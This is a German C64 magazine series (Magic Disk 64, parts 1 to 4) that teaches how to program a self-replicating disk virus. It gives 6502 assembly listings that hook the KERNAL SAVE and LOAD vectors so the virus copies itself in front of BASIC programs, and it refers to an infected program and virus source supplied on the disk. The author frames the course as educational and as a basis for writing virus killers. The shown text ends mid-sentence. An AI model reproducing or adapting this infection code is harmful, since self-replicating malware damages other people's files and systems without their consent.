Magic Disk 64

home to index to html: KURS-VIRENPROGRAMMIERKURS.html
               Hack-Meck                
‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾
Lange wurde er angekündigt -  jetzt  ist
er endlich da: der Virusprogrammierkurs!
In den folgenden  Ausgaben  möchten  wir
Sie in der Rubrik  Hack-Meck  im  Rahmen
dieses Kurses in die Funktionsweise  ei-
nes Virus einführen. Am Ende werden  Sie
in der Lage sein, sich einen eigenen Vi-
rus programmieren und die Anatomie eines
jeden Exemplars untersuchen  zu  können,
um so zum Beispiel einen Viruskiller  zu
einem beliebigen Virus schreiben zu kön-
nen.                                    
Doch nun gebe ich das  Wort  an  unseren
"Virenspezialisten":                    
Ich möchte an dieser Stelle darauf  hin-
weisen, daß dies ein  überaus  brisantes
Thema ist,  mit  dem  man  nicht  spaßen
sollte, denn ein Virus  ist  ein  eigen-
ständiges Programm und  bösartige  Viren
können  verheerende  Folgen  haben,  die
nicht  zuletzt  auch  den  Programmierer
selber treffen können!                  
Ich selbst bin  bei  der  Programmierung
auf meinen eigenen Virus hereingefallen,
als er sich plötzlich vor meinen Assemb-
ler gehängt hatte, weil ich vergaß,  daß
er noch aktiviert war. Dieser  Kurs  ist
nur zur Verständlichmachung eines  Virus
gedacht, nicht aber um Schaden anzurich-
ten! Achten Sie also darauf, Ihren Virus
so zu programmieren, daß er den Benutzer
vor eventuellem Datenverlust warnt.  Un-
ser  Magic  Disk  Virus  arbeitet   nach
demselben Prinzip. Sie  haben  sich  mit
Sicherheit auch schon  einmal  über  den
Verlust eines  wichtigen  Quellcodefiles
geärgert, und: was Du nicht willst,  daß
man Dir tu, das füg' auch keinem  andern
zu ...                                  
Da Sie sich ja nun hoffentlich  der  Ge-
fahr eines Virus bewußt sind, möchte ich
nun endlich zur Ausführung schreiten.   
Ich werde versuchen, den Kurs  möglichst
leichtverständlich zu halten,  doch  ist
es unerläßlich, wenigstens  den  Assemb-
lerbefehlssatz des C64 zu  kennen.  Denn
ein Virus  kann  nur  in  Assembler  ge-
schrieben werden,  da  er  ein  Programm
ist, das nahe am System arbeitet und so-
mit nur Hand in Hand mit  dem  Betriebs-
system des  C64  (bestehend  aus  reinem
Assemblercode) wirklich effektiv wirksam
ist.                                    
Beginnen wir also  Schritt  für  Schritt
mit der Planung unseres Virus,  den  Sie
am Ende in  seiner  endgültigen  Version
testen dürfen. In der  nächsten  Ausgabe
wird er  der  Magic  Disk  64  beigefügt
sein.                                   
Definieren wir zunächst erst einmal  den
Begriff "Virus":                        
Wie mittlerweile  (nach  dem  BHP-Virus)
überall bekannt sein dürfte, ist ein Vi-
rus ein kleines aber  effektvolles  Pro-
gramm, das sich auf  Diskette  vermehrt,
und zwar ganz still und leise, ohne  daß
der Benutzer direkt etwas  davon  spürt.
Das heißt im Klartext: wird  ein  System
von einem Virus  befallen,  so  versucht
dieser (so lange wie er aktiv ist)  sich
zu vermehren. Bei jeder  sich  bietenden
Gelegenheit versucht er, sich auf  einen
Datenträger, sprich  eine  Diskette,  zu
kopieren. Somit ist die  Chance  größer,
daß ein "geheiltes" System wieder  infi-
ziert wird; nämlich einfach dadurch, daß
ein infiziertes Programm gestartet wird.
Obendrein haben manche Viren  auch  noch
zusätzliche Funktionen, die den Benutzer
hin und wieder auf ihre Anwesenheit auf-
merksam machen.  Zum  Beispiel  kann  es
vorkommen,  daß  plötzlich  ein  kleiner
Käfer über den Bildschirm krabbelt,  daß
der Cursor  verrückt  spielt  oder  Ähn-
liches.                                 
Meistens sind Viren sogar so hartnäckig,
daß man sie nur noch mit einem  brutalen
Abbruch  der  Stromzufuhr,  sprich   dem
Ausschalten des Computers, stoppen kann.
Diese  typischen  Merkmale  eines  Virus
wollen wir hier nochmal in einer Tabelle
zur besseren  Übersicht  zusammentragen,
denn diese Funktionen soll unser kleiner
Freund später ja auch besitzen:         
1) "Fortpflanzung" auf andere Disketten,
   um die Art zu erhalten.              
2) Speicherresistenz, d.h. Schutz vor   
   RESET und RUN/STOP-RESTORE           
3) Kleiner Hinweis auf die eigene Exis- 
   tenz.                                
Beginnen wollen wir mit dem  ersten  und
zugleich auch schwierigsten  Punkt:  die
Artenerhaltung. Da dieses  Thema  aller-
dings sehr ausgedehnt ist, muß  ich  Sie
leider hiermit auf die  nächste  Ausgabe
der Magic Disk vertrösten,  in  der  wir
dann endlich zur  Praxis  übergehen  und
mit der Programmierung beginnen möchten.
         Virus-Programmierkurs          
‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾
Sicher haben Sie schon gespannt auf  das
Erscheinen der Augustausgabe  von  Magic
Disk 64 gewartet. Denn in unserem Virus-
Programmierkurs  wird's  jetzt   langsam
ernst. Heute wollen wir uns - wie in der
letzten  Ausgabe  besprochen  -  um  die
Artenerhaltung  unseres  Virus  kümmern,
damit er auch viele kräftige und gesunde
Nachkommen haben wird!                  
An dieser Stelle sei noch  erwähnt,  daß
sich auf der Magic  Disk  folgende  Pro-
gramme befinden,  die  alle  mit  diesem
Kurs zusammenhängen:                    
"MD-VIRUS" ist ein infiziertes  Gag-Pro-
gramm, das  zur  Aktivierung  des  Virus
dient. Der Syntax-Error am  Programmende
gehört so und ist kein Programmfehler!  
"MDV-SOURCE" ist der Sourcecode (=Quell-
code)  im  Hypra-Ass-Format  zum  Virus.
Falls Sie Hypra-Ass nicht  besitzen,  so
hilft Ihnen sicherlich                  
"MDV-SOURCE.ASC"  weiter.  Das  ist  der
Source-Code als ASCII-File  gespeichert.
Dieser kann ohne Probleme mit  GET#  von
der  Diskette  gelesen  und  ausgedruckt
werden.                                 
Doch nun wollen  wir  ans  "Eingemachte"
gehen und  uns  mit  der  Programmierung
selbst befassen.                        
Zuerst wollen wir  uns  überlegen,  wann
die Brunftzeit (die Zeit,  an  der  sich
der Virus vermehrt)  für  unser  kleines
Tierchen am günstigsten ist.  Da  sticht
der Vorgang des Diskettenzugriffs natür-
lich sofort ins Auge, denn dann  ist  es
am unauffälligsten, da die Diskettensta-
tion sowieso läuft. Und  außerdem  teilt
uns der Programmierer bei einer  solchen
Aktion auch gleich mit, wie man  ein  zu
infizierendes Programm beim Namen nennt.
Man muß also nicht  noch  aufwendig  auf
der Diskette nach Programmen  und  deren
Namen suchen.                           
Gesagt - getan. Um  dies  zu  verwirkli-
chen, müssen  wir  prinzipiell  nur  den
Speichervorgang an sich abfangen können.
Das heißt, unser Virus  muß  sich  immer
dann  einschalten,  wenn  das  Betriebs-
system des C64 vom Benutzer dazu  bewegt
wird, Daten zum Floppy zu schicken.     
Dieses Problem kann sehr einfach  gelöst
werden. Das Betriebssystem benutzt  näm-
lich einen Vektor, der auf  die  eigent-
liche Save-Routine zeigt. Zur Erklärung:
Ein  Vektor  sind  zwei  Speicherzellen,
deren Inhalt im Low-High-Format auf  ein
entsprechendes Unterprogramm zeigt. Vek-
toren  können  mit  indirekten  Sprüngen
adressiert werden. Speichert man z.B. in
den Speicherzellen $1000 und  $1001  die
Werte $af  und  $c0,  so  wird  bei  dem
Maschinensprachebefehl JMP  ($1000)  die
Adresse $c0af angesprungen.             
Der SAVE-Vektor steht in  den  Speicher-
zellen $0332 und $0333 (=dezimal 818 und
819). Bei jedem SAVE-Befehl  wird  indi-
rekt über diesen Vektor gesprungen.  Ein
idealer Platz also für einen  Virus,  um
in das Geschehen  einzugreifen.  Er  muß
nur bei  seiner  (einmaligen)  Initiali-
sierung diesen Vektor  auf  eine  eigene
Routine "verbiegen". Bis zum Ausschalten
des Computers wird dann bei jedem  SAVE-
Befehl die eigene Routine angesprungen. 
Zur Vervollständigung des  Gesagten  sei
noch erwähnt, daß dieser Vektor  eigent-
lich schon mitten  in  der  SAVE-Routine
angesprungen wird. Doch das ist für  uns
nur von Vorteil, da er genau dann aufge-
rufen wird, nachdem alle  Voreinstellun-
gen erledigt wurden, und wir diese  des-
wegen nicht noch selbst  erledigen  müs-
sen. Um diesen Vorgang genauer zu erläu-
tern, muß ich Ihnen zunächst  die  SAVE-
Routine etwas näher beschreiben:        
Wie Sie ja vielleicht wissen,  wird  die
SAVE-Routine des Betriebssystems mit dem
Befehl JSR $FFD8 aufgerufen. Vorher  muß
man aber noch einige Parameter wie Lauf-
werk,  Programmname,  Start-  und   End-
adresse etc. festlegen. Diese  Parameter
werden folgendermaßen übergeben:        
SETPAR setzt Geräte- und Sekundäradresse
SETNAM übergibt Programmnamen und -Länge
Jetzt müssen Anfangs- und Endadresse  in
zwei  Speicherzellen  in  der   Zeropage
festgelegt werden. Am besten eignen sich
die Adressen $FB und  $FC,  da  sie  vom
Betriebssystem  sonst  nicht   verwendet
werden.                                 
Nun den  Zeiger  auf  die  erste  dieser
Speicherzellen in den Akku laden, Endad-
resse des abzuspeichernden Bereichs in X
und Y-Register laden und SAVE aufrufen. 
Damit  das  verständlicher  wird,  folgt
hier  zunächst  das  Quellisting   einer
Maschinenspracheroutine, die  den  Spei-
cherbereich von $0801  bis  $11AB  unter
dem  Namen   "DEMOSAVE"   auf   Diskette
abspeichert:                            
10  -.ba $c000          ;Basisadresse   
20  -.eq save = $ffd8   ;Konstanten-    
30  -.eq setpar = $ffba ;definitionen   
40  -.eq setnam = $ffbd ;               
50  -;                                  
100 - lda #$01     ;Filenummer          
110 - ldx #$08     ;Geräteadresse       
120 - ldy #$01     ;Sekundäradresse     
130 - jsr setpar   ;Parameter setzen    
140 - lda #$08     ;Länge des Namens    
150 - ldx #<(name) ;Adresse low         
160 - ldy #|(name) ;Adresse high        
170 - jsr setnam   ;Namen setzen        
180 - ldx #$01     ;Anfangsadresse low  
190 - ldy #$08     ;Anfangsadresse high 
200 - stx $fb      ;in $fb und $fc      
210 - sty $fc      ;zwischenspeichern   
220 - lda #$fb     ;Zeiger auf Speicher 
230 - ldx #$ab     ;Endadresse low      
240 - ldy #$11     ;Endadresse high     
250 - jsr save     ;SAVE anspringen     
260 - rts          ;fertig!             
270 -;                                  
280 -name   .tx "demosave"              
Werfen wir nun einen kleinen Blick "hin-
ter die Kulissen" - sprich ins Betriebs-
system. Dabei beginnen wir an der  Stel-
le,  an  der   auch   die   SAVE-Routine
beginnt, nämlich bei Adresse $FFD8. Hier
ein kleiner Auszug, wie Sie ihn sich mit
einem Disassembler bzw.  Speichermonitor
auch "live" ansehen können:             
FFD8  JMP $F5DD                         
Es wird also nur ins Innere des  Systems
weitergesprungen. Dort verfolgen wir das
Betriebssyetem weiter:                  
F5DD  STX $AE    ;Low-Byte Endadresse   
                  speichern             
F5DF  STY $AF    ;High-Byte Endadresse  
                  speichern             
F5E1  TAX        ;Zeiger auf Anfangs-   
                  adresse ins X-Register
F5E2  LDA $00,X  ;Low-Byte der Anfangs- 
                  adresse holen         
F5E4  STA $C1    ;und speichern         
F5E6  LDA $01,X  ;dasselbe mit dem      
F5E8  STA $C2    ;High-Byte             
F5EA  JMP ($0332);Save-Vektor           
Sie sehen, daß erst in der letzten Zeile
auf die SAVE-Routine verzweigt wird. Die
übrigen Zeilen sind nur dazu da, die Pa-
rameter für später zwischenzuspeichern. 
Hier also ist der Punkt,  an  dem  unser
Virus eingreifen darf. Er  sollte  somit
auch alle Funktionen übernehmen, die das
Betriebssystem  normalerweise  ausführt,
nur daß er  sich  zusätzlich  auch  noch
mitspeichert.  Um  herauszufinden,   was
genau er da tun soll, verfolgen wir  die
normale Saveroutine weiter:             
Einsprung über  Vektor  $0332/$0333  von
$F5EA:                                  
F5ED  LDA $BA   ;Geräteadresse laden    
F5EF  BNE $F5F4 ; wenn <| 0 dann weiter 
F5F1  JMP $F713 ;"ILLEGAL DEVICE NUMBER 
                 ERROR" ausgeben        
F5F4  CMP #$03  ;vergleiche mit Bild-   
                 schirmcode             
F5F6  BEQ $F5F1 ;wenn ja, dann Fehler   
F5F8  BCC $F659 ;wenn <3, dann Sprung zu
                 Test auf RS232 oder    
                 Cassette               
F5FA  LDA #$61  ;Sekundäradresse        
F5FC  STA $B9   ;zwischenspeichern      
F5FE  LDY $B7   ;Filenamenlänge holen   
F600  BNE $F605 ;|0, dann weiter        
F602  JMP $F710 ;"MISSING FILE NAME     
                 ERROR" ausgeben        
F605  JSR $F3D5 ;Filename auf IEC-Bus   
F608  JSR $F68F ;"SAVING" ausgeben      
F60B  LDA $BA   ;Geräteadresse laden    
F60D  JSR $ED0C ;und LISTEN senden      
F610  LDA $B9   ;Sekundäradresse holen  
F612  JSR $EDB9 ;und für LISTEN senden  
F615  LDY #$00  ;Zähler auf 0 setzen    
F617  JSR $FB8E ;Startadresse nach      
                 $AC/$AD kopieren       
F61A  LDA $AC   ;Startadr.-Low laden    
F61C  JSR $EDDD ;und senden             
F61F  LDA $AD   ;Startadr.-High laden   
F621  JSR $EDDD ;und senden             
Ab hier (also ab $F624) folgt noch  eine
kleine Routine, die jedes Byte  bis  zur
Endadresse durchgeht,  mit  der  Routine
bei $EDDD an die Floppy sendet  und  an-
schließend das File wieder schließt  und
zurückspringt.                          
Wie Sie sehen, ist der  erste  Teil  nur
dazu da, die Geräteadresse zu überprüfen
und die  entsprechenden  Fehlermeldungen
auszugeben. Anschließend kommt erst  der
Anfang  der  eigentlichen   Saveroutine.
Hier wird dann das  "saving"  ausgegeben
und der Floppykanal  geöffnet.  Bis  zur
Adresse $F617 alles Dinge, die  für  uns
unwichtig sind, und die wir auch einfach
in  unserem  Virus  übernehmen   werden,
damit  er  auch  voll   kompatibel   zum
Betriebssystem ist.                     
Erst ab $F61A wird es für  uns  interes-
sant. Hier werden nämlich Low- und High-
byte der Anfangsadresse des zu  savenden
Bereichs an die Floppy geschickt,  damit
die Loadroutine später weiß,  wohin  sie
das  eingeladene  Programm  legen  soll.
Dieser Teil ist deshalb so  wichtig  für
uns, weil wir unseren  Virus  grundsätz-
lich nur vor Programme  kopieren  lassen
wollen, die an den  normalen  Basicstart
(also $0801) geladen werden, da man hier
davon ausgehen kann, daß das  entsprech-
ende Programm mit RUN  gestartet  werden
muß.  Würde  sich  der  Virus  auch  vor
Maschinenprogramme  kopieren,  die  bei-
spielsweise  bei  $C000  anfangen,  dann
könnte das verheerende Folgen haben,  da
er selbst ja ein mit RUN startbares Pro-
gramm ist und man ihn nicht einfach  mit
einem SYS starten kann.                 
Also müssen wir an dieser  Stelle  über-
prüfen, an welcher Stelle  sich  das  zu
savende Programm befindet. Ist das nicht
$0801, so hält sich  unser  Virus  schön
brav im Hintergrund und tut gar  nichts.
Ist es aber ein Programm, das bei  $0801
beginnt, so soll  er  sich  mitkopieren.
Also bauen wir an dieser Stelle noch ein
paar Vergleichsbefehle ein:             
      LDA $AC   ;Lo-Byte Anfangsadresse 
      CMP #01   ;= $01?                 
      BEQ LAB1  ;Ja, dann Byte senden   
      LDY #$01  ;Flag setzen            
LAB1  JSR $EDDD ;Lo-Byte senden         
      LDA $AD   ;Hi-Byte Anfangsadresse 
      CMP #$08  ;= $08?                 
      BEQ LAB2  ;Ja, dann Byte senden   
      LDY #$01  ;Flag setzen            
LAB2  JSR $EDDD ;Hi-Byte senden         
      CPY #$01  ;Flag gesetzt?          
      BNE OKAY  ;nein, also vermehren!  
      LDY #$00  ;Ja, Y zurücksetzen     
      JMP $F624 ;normal weitersaven     
Hier die genaue Funktionsweise:  Das  Y-
Registerwurde bei $F615 ja mit 00  gela-
den. Sollte jetzt  bei  einem  Vergleich
ein Wert ungleich dem verglichenem  Wert
sein, so wird  das  Y-Register  mit  dem
Wert 01 beschrieben und  erst  dann  das
Byte gesendet. In der  Folge  wird  dann
verglichen, ob  das  Y-Register  noch  0
ist. Ist das der Fall, so darf sich  der
Virus kopieren. Ansonsten verzweigt  das
Programm in die normale Saveroutine.    
In dieser Form konnten wir  die  Assemb-
lerbefehle bisher aus dem Betriebssystem
übernehmen. Jetzt müssen wir auch einmal
etwas eigenes leisten, nämlich eine Rou-
tine schreiben, die  den  Virus  an  die
Floppy sendet. Bis jetzt sind der  Flop-
pykanal geöffnet  und  die  Startadresse
übergeben. Normalerweise würde jetzt das
zu savende  Programm  kommen,  doch  das
soll ja gerade nicht der Fall sein.  Wir
müssen zuerst den Virus  an  die  Floppy
senden und  dann  das  eigentliche  Pro-
gramm. Dieses Problem lösen wir  folgen-
dermaßen:                               
OKAY  LDA #<(DATA) ;Lo-Anfangsadresse   
      STA $FB      ;des Virus setzen    
      LDA #|(DATA) ;dasselbe mit dem    
      STA $FC      ;Highbyte            
      LDA #<(ENDE) ;Lo-Endadresse       
      STA $F9      ;setzen              
      LDA #|(ENDE) ;dasselbe mit dem    
      STA $FA      ;Highbyte            
      LDY #$00     ;Zähler löschen      
LOOP  LDA ($FB),Y  ;Zeichen laden       
      JSR $EDDD    ;und senden          
      JSR INCCOUNT ;Zähler um 1 erhöhen 
      BCC LOOP     ;Weiter, wenn noch   
                    nicht Endadresse    
      JSR SAVECONT ;Wenn doch, dann     
                    Programm saven      
Zur Dokumentation: Am Anfang setzen  wir
Start- und  Endadresse.  Die  Endadresse
hinterlegen  wir  in  $F9/$FA,  da   die
INCCOUNT-Routine diese  Werte  zum  Ver-
gleichen braucht. Diese Routine steht in
unserem Source-Listing übrigens ab Zeile
8210 und soll an  anderer  Stelle  näher
erläutert werden. Soviel sei aber  schon
hier gesagt:                            
Die Routine erhöht den  Zeiger  in  $FB/
$FC und vergleicht ihn  mit  der  Endad-
resse, die wir ja  in  $F9/$FA  abgelegt
haben. Sind beide  Adressen  gleich,  so
setzt sie das Carryflag, womit  die  Ab-
frage nach JSR INCCOUNT zu erklären ist.
Ist das Carryflag gelöscht, so  ist  das
Ende  noch  nicht   erreicht   und   die
Schleife wird  wiederholt.  Im  Anschluß
wird dann wieder die normale Saveroutine
des Betriebssystems angesprungen, um das
eigentliche Programm  abzuspeichern.  In
der Konstanten  SAVECONT  ist  die  Zahl
bzw. Adresse $F624 gespeichert.         
Hiermit sind wir  am  Ende  des  zweiten
Teils des  Virusprogrammierkurses  ange-
langt. Die oben beschriebene Saveroutine
finden Sie  ab  Zeile  2220  im  Source-
listing,  allerdings  mit  zwei  kleinen
Abweichungen. Die eine hat mit der  Ver-
mehrung beim Laden zu tun, die wir näch-
sten Monat besprechen  wollen.  Und  die
andere ist für den kleinen  Gag  zustän-
dig, mit dem der Virus auf sich aufmerk-
sam machen soll.                        
Bis zum nächsten  Teil  bleibt  uns  nur
noch, Ihnen viel Spaß in Ihrer Aktivität
als Virologe zu wünschen.               
           Viruskurs, 3.Teil            
‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾
Endlich  geht  es  weiter.  Der   3.Teil
unseres Viruskurses liegt vor Ihnen!    
Heute geht es  um  die  Vermehrung  beim
Laden, die sich von der beim Saven,  wie
wir  sie  ja  letzten  Monat  besprochen
haben, nur geringfügig unterscheidet.   
Wie  gesagt  kann  sich  unser   kleiner
Freund mittlerweile auch  schon  vermeh-
ren.                                    
Dies tut er,  indem  er  sich  sozusagen
über einen Vektor in die Saveroutine des
Betriebssystems  'einklinkt'  und  diese
steuert.                                
Genau wie bei  einem  richtigen,  biolo-
gischen Virus,  greift  er  in  die  DNA
(Datenstruktur einer Zelle, in der  alle
Informationen über den  Körper,  zu  dem
die  Zelle  gehört,  gespeichert   sind)
seines Rechners (also  dem  Betriebssys-
tem) ein, und ändert sie so ab, daß  sie
seiner Fortpflanzung dient.             
Der Trick dabei ist, daß er  bei  seinem
'Erwachen', sprich seinem Aufruf,  einen
Vektor, der auf die  Saveroutine  zeigt,
auf seine eigene Saveroutine verbiegt.  
Dieser Vektor war  für  die  Saveroutine
der Vektor bei $0332/$0333.             
Für die Loadroutine  ist  dieser  Vektor
bei $0330/$0331. Und  auch  über  diesen
Vektor  wird  unser  Virus  aktiv,   das
heißt, er erwacht  ebenfalls,  wenn  man
ein Programm laden will, und  auch  hier
muß er, wie beim Saven auch, alle Arbeit
allein tun, d.h. wir müssen  uns  zuerst
einmal  die  Struktur  der   Loadroutine
ansehen, um den Virus auch die richtigen
Anweisungen geben zu können.            
Nun, wie wir ja wissen,  hat  die  Load-
routine auch ihren Platz im Betriebssys-
tem, nämlich ab Adresse $FFD5. Ab dieser
Adresse folgt nun  ein  Memory-Dump,  so
wie wir das  auch  bei  der  Saveroutine
praktiziert haben:                      
FFD5   JMP $F49E                        
Auch hier wird einfach nur in  das  'In-
nere' des  Betriebssystemroms  hineinge-
sprungen. Dies ist  übrigens  eine  Ein-
richtung, die Commodore bei allen 'klei-
nen' Homecomputern eingeführt hat.      
Es handelt sich dabei um eine  Sprungta-
belle am Ende  des  Betriebssystems,  in
der Routinen  angesprungen  werden,  die
auf  allen  Rechnern  dieselbe  Funktion
erfüllen,  aber  bei  jedem  Rechner  an
einer anderen Stelle stehen.            
So kann man mit  dem  selben  JMP-Befehl
z.B. auch die LOAD-Routine des C16  oder
des VC20  anspringen,  da  dann  ab  der
Adresse  $FFD5  auf  die   entsprechende
Routine des Rechners gesprungen wird.   
Dies hat man getan, um  Programme  teil-
weise kompatibel zu  machen,  somit  ist
das  Umschreiben  von  Assemblerroutinen
einfacher  (soweit  die  Hardware   dies
erlaubt), da  man  nicht  die  einzelnen
Sprungadressen verändern muß.           
Nun  aber  weiter  bei  unserem   Virus,
werfen wir doch jetzt einmal einen Blick
nach $F49E:                             
f49e   stx $c3     ;Startadresse        
f4a0   sty $c4     ;merken              
f4a2   jmp ($0330) ;jmp $f4a5           
Sie sehen, auch hier eine  Parameterzwi-
schenspeicherung, bevor über den  Vektor
auf die Loadroutine gesprungen wird.    
Da sich in dem Vektor normalerweise  die
Werte $A5 und $F4 (in $0330  und  $0331)
befinden, wird  hier  auch  auf  Adresse
$F4A5 gesprungen. Die  Befehle  ab  hier
sollten also auch von unserem Virus aus-
geführt werden:                         
f4a5  sta $93   ;LOAD/VERIFY-Flag merken
f4a7  lda #$00  ;Status                 
f4a9  sta $90   ;löschen                
f4ab  lda $ba   ;Geräteadresse laden    
f4ad  bne $f4b2 ;ungleich 0, also weiter
f4af  jmp $f713 ;'ILLIGAL DEVICE NUMBER'
                ;ausgeben               
f4b2  cmp #$03  ;vergleiche mit Code    
                ;für Bildschirm         
f4b4  beq $f4af ;Ja, dann Fehler!       
feb6  bcc $f533 ;kleiner 3, dann vom    
                ;Band                   
*********** Ab hier IEC-Load ***********
f4b8  ldy $b7   ;Länge des Filenamens   
                ;laden                  
f4ba  bne $f4bf ;ungleich 0, dann ok.   
f4bc  jmp $f710 ;'MISSING FILENAME'     
                ;ausgeben               
f4bf  ldx $b9   ;Sekundäradresse laden  
f4c1  jsr $f5af ;'SEARCHING FOR' und    
                ;Filename ausgeben      
f4c4  lda #$60  ;Sekundäradresse 0      
f4c6  sta $b9   ;laden und merken       
f4c8  jsr $f3d5 ;File auf IEC-Bus       
                ;öffnen                 
f4cb  lda $ba   ;Gerätenummer laden     
f4cd  jsr $ed09 ;und TALK senden        
f4d0  lda $b9   ;Sekundäradresse laden  
f4d2  jsr $edc7 ;und senden             
f4d5  jsr $ee13 ;Byte vom IEC-Bus holen 
f4d8  sta $ae   ;als Startadresse-LO    
                ;speichern              
An dieser Stelle  ist  es  wichtig,  daß
unser Virus sich wieder einschaltet.  Er
muß nämlich nun  wieder  testen,  ob  es
sich hierbei um ein File handelt, daß ab
$0801 geladen wird.                     
Sie errinnern sich - wir hatten ja  vor,
den Virus so zu schreiben, daß  er  kei-
nerlei Daten zerstören kann. Dies könnte
er tun, wenn er ein File infiziert,  das
nicht ab $0801 geladen wird.            
Da er ja mit RUN gestartet  werden  muß,
und bei Files, die nicht an diese Adres-
se geladen werden, mit ziemlicher  Wahr-
scheinlichkeit  damit  gerechnet  werden
kann, daß sie auch nicht mit RUN gestar-
tet werden, sondern meist  Maschinenpro-
gramme  sind,   die   mit   SYS-Befehlen
aufgerufen werden.                      
Das obige  Listing  entspricht  nun  bis
jetzt haargenau unserem Quellcodelisting
ab Zeile 1150-1480 (diese Befehle ändern
sich ja  nicht,  trotzdem  muß  sie  der
Virus ausführen, also übernehmen wir sie
einfach). Nun  folgen  mehrere  Befehle,
durch  die  der  Virus  testet,  ob  das
momentan  zu  ladende  File  bei   $0801
beginnt:                                
1400 - cmp #01      ;vergleiche LO-Byte-
                    ;Startadr. mit 01   
1410 - bne cbmload1 ;ungleich, dann mit 
                    ;Betriebssystem     
                    ;normal weiterladen 
Hier wird nun verglichen, ob das LO-Byte
der Anfangsadress ($0801) übereinstimmt.
Ist dies nicht der Fall, so wird einfach
weiterverzweigt  auf  einen  JMP  $f4da,
dieser Befehl  steht  im  Sourcecode  in
Zeile 1580.                             
Nun weiter im Listing, das ab nun wieder
ein kleines  Stück  des  Betriebssystems
enthält:                                
1420 -:                                 
1430 - lda $90       ;Status laden      
1440 - lsr           ;Bit 1 ins Carry   
1450 - lsr           ;schieben          
1460 - bcs loaderror ;falls gesetzt,    
                     ;dann Timeout      
                     ;(Ladefehler)      
1470 - jsr $ee13     ;Startadresse-HI   
1480 - sta $af       ;holen und merken  
Eigentlich nur ein  kleiner  Errorcheck,
also ob beim Diskzugriff nicht doch  ein
Busfehler aufgetaucht ist. Die  Verzwei-
gung auf das Label  LOADERROR  ist  eine
Verzweigung auf  ein  JMP  $F704.  Diese
Routine gibt schlicht  und  einfach  ein
'FILE NOT FOUND' aus.                   
Der  Sprungbefehl  steht  im  Quellcode-
listing in Zeile 1560.                  
Solche Branch-Verzweigungen auf  Sprung-
befehle sind übrigens unbedingt  notwen-
dig, da bei Branch-Verzweigungen  grund-
sätzlich nur um 128 Bytes jeweils in den
vorangehenden, oder in den nachfolgenden
Speicher gesprungen werden kann.        
Ab Zeile 1470 haben wir nun  wieder  die
Befehlssequenz, die ein Byte holt und es
als Startadresse-HI zwischenspeichert.  
Hier nun  also  wieder  unsere  gewohnte
Vergleichssequenz, ob also, nachdem  das
LO-Byte mit $0801  übereinstimmte,  dies
auch bei dem HI-Byte zutrifft (hätte das
LO-Byte nicht gestimmt, dann würde jetzt
sowieso  schon   die   LOAD-Routine   im
Betriebssystem weiterarbeiten...).      
1500 -  cmp #08      ;vergleiche mit 8  
1510 -  bne cbmload2 ; wenn nein, dann  
                     ;weiter im         
                     ;Betriebssystem    
1520 -  jsr $f4e5    ;springe auf rest- 
                     ;liche Loadroutine 
1530 -  bcc inftest  ;Wenn kein Fehler, 
                     ;dann weiter,      
1540 -  rts          ;andernfalls Ende  
1550 -;******************************** 
1560 -loaderror jmp $f704               
1570 -xf533     jmp $f533               
1580 -cbmload1  jmp $f4da               
1590 -cbmload2  jmp $f4e5               
1600 -;******************************** 
Nach  unserem  Vergleich  wird  auf  die
restliche Loadroutine  als  Unterroutine
(JSR)  gesprungen,  um  das  File   ganz
schlicht und einfach von Disk zu laden. 
Wenn aus der  Loadroutine  zurückgekehrt
wurde, geht es weiter mit einem Test, ob
während des Ladens ein Fehler  aufgetre-
ten ist (die Loadroutine  gibt  ein  ge-
setztes  Carrybit  zurück,  sollte   ein
Fehler aufgetreten sein).               
Wenn ein Fehler  aufgetreten  ist,  dann
wird  einfach  wieder  zurückgesprungen,
und der Virus bleibt friedlich.         
Ist kein Fehler  aufgetreten,  wird  zur
nächsten Routine verzweigt.             
Sie heißt INFTEST und beginnt  ab  Zeile
1610.                                   
Das,  was  nun  weiter  geschehen  wird,
wollen  wir  in  der  nächsten   Ausgabe
besprechen.                             
Der weitere  Verlauf  ist  zwar  relativ
einfach zu erläutern, doch muß ich Ihnen
noch einige Hinweise auf ein Routine  am
Anfang der Loadroutine geben.           
Ich verabschiede mich nun also  bis  zum
nächsten Monat und wünsche weiterhin ein
'Allzeit, gut Hack!'                    
                 Virenprogrammierkurs                
                 ‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾                
Nach einem Sommermonat langen Wartens ist er nun end-
lich da: Der 4. Teil des Virenprogrammierkurses!     
Heute geht es wieder um das komplexe Thema der  Fort-
pflanzung beim Laden.                                
Wie schon im letzten Teil erwähnt fehlt uns nur  noch
der Rest der LOAD-Vermehrung  und  noch  eine  kleine
Routine, die am Anfang der Virus-Load-Routine  steht.
Und um genau diese Routine geht es heute.            
Sie erinnern sich: Wir hatten gesagt,  daß  wir  alle
Befehle aus dem Betriebssystem übernehmen wollen,  so
daß die ganz normale  LOAD-Routine  ausgeführt  wird,
mit dem Unterschied, daß sich unser Virus dann hinzu-
schalten kann, wann ER  möchte!  Dies  muß  er  schon
gleich am Anfang tun, nämlich dort, wo über den  Vek-
tor in die LOAD-Routine eingesprungen wird, und zwar,
um sich den Filenamen des Programms  zu  merken,  daß
geladen werden soll.  Dieser  wird  normalerweise  ja
schon von Basic irgendwo im Speicher abgelegt.       
Anschließend übergibt BASIC der LOAD-Routine die Ad- 
resse und Länge des Filenamens mit Hilfe der SETNAM- 
Routine. Diese steht im Betriebssystem bei $FFBD und 
wird folgendermaßen aufgerufen:                      
X-Register: LO-Byte der Adresse des Filenamens       
Y-Register: HI-Byte der Adresse des Filenamens       
Akku      : Länge des Filenamens                     
Zum besseren Verständnis hier ein Beispiel:          
8000  LDA #$04                                       
8002  LDX #$0A                                       
8004  LDY #$80                                       
8006  JSR $FFBD                                      
8009  RTS                                            
800A  .TX "NAME"                                     
Es werden also  die  Adresse  des  Filenamens  (hier:
$800A) und die Länge des Filenamens (hier 4)  überge-
ben.                                                 
Die Routine SETNAM  macht  nun  nichts  anderes,  als
diese Werte, die ja nachher beim Laden wichtig  sind,
in drei Speicherzellen in  der  Zeropage  zwischenzu-
speichern. Diese Speicherzellen sind $BB und $BC  für
die Namensparameter. In Speicherzelle  $B7  wird  die
